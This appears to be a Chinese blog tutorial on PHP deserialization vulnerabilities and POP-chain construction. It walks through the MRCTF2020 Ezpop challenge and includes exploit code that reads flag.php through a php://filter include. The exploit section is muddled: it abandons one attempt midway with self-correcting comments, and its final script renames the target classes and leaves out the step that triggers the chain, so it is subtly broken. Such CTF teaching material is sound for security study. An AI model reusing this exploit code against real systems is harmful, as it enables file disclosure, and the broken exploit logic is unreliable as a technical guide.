PHP反序列化漏洞原理与POP链实战解析

南乔
南乔
发布时间:2026-10-16 | 4人浏览过
原创

PHP反序列化漏洞源于程序未对用户输入的反序列化字符串进行检测,导致恶意控制的反序列化过程引发代码执行或Getshell。本文将深入解析序列化格式、魔术方法触发机制及属性编码规则,并通过CTF题目Ezpop演示如何构造POP链实现远程文件包含,探讨字符串逃逸在漏洞利用中的应用。

反序列化基础概念

反序列化是指将特定格式的字符串还原为原有对象(object)、数组(array)或变量的过程。其根本风险在于,如果反序列化函数的输入源来自不可控的用户输入,攻击者即可构造精心设计的序列化数据,在反序列化过程中触发类中预置的危险操作,从而导致任意代码执行、文件包含等严重后果。

序列化格式详解

序列化是将对象转换为字符串以便存储或传输的过程。以下为一个简单的对象序列化示例:

<?php
class XINO{
    var $test = '123456';
}
$class1 = new XINO;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

输出结果如下:

O:4:"XINO":1:{s:4:"test";s:6:"123456";}

该字符串结构解析:O 代表对象(Object),4 为类名字符长度,"XINO" 为类名,1 表示属性数量,大括号内为具体的属性键值对序列。

魔术方法与触发条件

PHP中的“魔术方法”是一组以双下划线开头的方法,它们在特定的面向对象操作环境下自动触发。在反序列化漏洞利用中,正确识别这些方法的触发时机是构建攻击链的关键。

  • __construct():对象实例化时调用。
  • __destruct():对象销毁时调用。
  • __wakeup():反序列化时立即触发(但存在绕过技巧)。
  • __toString():当对象被当作字符串使用时触发。
  • __invoke():当对象尝试被当作函数调用时触发。
  • __get():读取不可访问属性时触发。

例如,当创建一个包含 __toString 方法的类实例并尝试输出它时,该方法会自动执行:

<?php 
class TestClass {
    public $foo;
    public function __construct($foo) {
        $this->foo = $foo; 
    } 
    public function __toString() {
        return $this->foo; 
    } 
} 
$class = new TestClass('Hello');
echo $class; // 自动触发 __toString,输出 Hello
?>

属性可见性与序列化差异

PHP属性的可见性修饰符会直接改变序列化后的字符串结构,这是构造Payload时必须精确处理的细节:

  • public:属性名原样保留。
  • protected:属性名前增加 %00*%00 前缀(字节值为0x00)。
  • private:属性名前增加 %00类名%00 前缀(字节值为0x00)。

在构造恶意序列化字符串时,若忽略这些隐藏字符,反序列化将无法正确赋值,导致利用失败。

POP链构造实战

PHP面向对象编程(POOP)中,由于直接使用入口点往往受限,攻击者通常采用逆向思维构造“面向属性导向的程序设计”(POP, Property Oriented Programming)链。即找到一个目标危险方法(如文件包含),再寻找能触发该方法的中间方法,直至连上用户可控的入口点(如魔术方法)。

案例分析:[MRCTF2020]Ezpop

靶场源码分析:

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

逆向推导过程

  1. 确定终点(Gadget):目标是执行 include 读取flag。查看代码,Modifier 类的 append() 方法可包含文件,而 __invoke() 会调用 append()。因此需触发 __invoke。
  2. 寻找中间节点:谁可以调用 __invoke?Test 类的 __get() 在访问不存在或不可见的属性 $key 时,会将 $p 作为函数调用。若将 $p 赋值为 Modifier 对象实例,即可触发 __invoke。
  3. 寻找触发点:谁能触发 Test::__get()?Show 类的 __toString() 返回了 $this->str->source。若在外部以字符串形式使用一个 Show 对象(如echo),就会触发 __toString。我们需要让 $this->str 为 Test 对象,且访问其不存在的属性 source。
  4. 连接入口:反序列化是入口。虽然 __wakeup 有过滤,但可通过修改 __wakeup 绕过或直接利用其他逻辑。本例中只需控制 Show 对象的属性,使其内部结构符合上述链条即可。注意 Show::__construct 会在new时触发,但我们的链主要依靠序列化后反序列化的行为,重点在于属性值的覆盖。

构造Payload

基于上述分析,编写exp生成序列化字符串。需注意 Modifier::$var 为protected,序列化时需添加占位符:

<?php
class Modifier {
	protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show {
    public $source;
    public $str;
    public function __construct() {
        // 确保 str 是 Test 对象,且在 toString 中访问其 source 属性会触发 __get
        $this->str = new Test();
    }
}
class Test {
    public $p;
    // $p 将被赋值为 Modifier 对象
}

$a = new Show();
// source 需要是一个对象,以便在 Show::__toString 中作为字符串处理时可能触发进一步逻辑,
// 或者更简单地,直接观察 Show::__toString 返回的是 $this->str->source
// 这里我们构造 $a 的 source 指向另一个 Show 对象是为了展示链路的复杂性,
// 实际上核心是 $a->str->p = new Modifier();
$a->source = new Show(); // 此处仅为填充 source 属性,非核心攻击路径关键,但需保持结构完整
$a->source->str->p = new Modifier(); // 修正:应直接让 $a->str->p 指向 Modifier

// 重新梳理标准 EXP 结构:
class ExpShow { 
    public $source; 
    public $str; 
    public function __construct() { 
        $this->str = new ExpTest(); 
    } 
}
class ExpTest { 
    public $p; 
}
class ExpModifier { 
    protected $var = "php://filter/read=convert.base64-encode/resource=flag.php"; 
}

$obj = new ExpShow();
$obj->str->p = new ExpModifier();
echo urlencode(serialize($obj));
?>

将生成的 Payload 作为 $_GET['pop'] 参数提交,浏览器即可显示出 Flag 内容的 Base64 编码。

进阶:PHP字符串逃逸

字符串逃逸是一种在受限制的正则替换环境中控制反序列化结构的技术。其原理是利用被替换的字符串长度与被插入的目标内容长度不一致,导致反序列化解析器读取边界偏移,从而“逃逸”出原本的变量范围,注入新的键值对。

假设目标字段长度为10,过滤规则将 "admin" (5字符) 替换为 "hack***" (7字符)。原本意图结束的属性部分因多了2个字符,导致后续数据的长度声明失效,解析器继续向后读取,将原本属于下一个属性的数据强行并入当前属性,从而实现注入。

总结

PHP反序列化漏洞的利用核心在于对类属性和魔术方法的深度理解。掌握 POP 链的逆向构造思路,以及注意属性编码中的隐藏字符,是此类漏洞分析的关键。同时,了解字符串逃逸等高级手法有助于应对更复杂的过滤场景。在实际开发中,应避免直接使用 unserialize 处理不可信数据,或对输入进行严格的白名单校验。

以上就是PHP反序列化漏洞实例深入解析的详细内容,更多关于PHP反序列化漏洞的资料请关注本站其它相关文章!

相关标签:

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表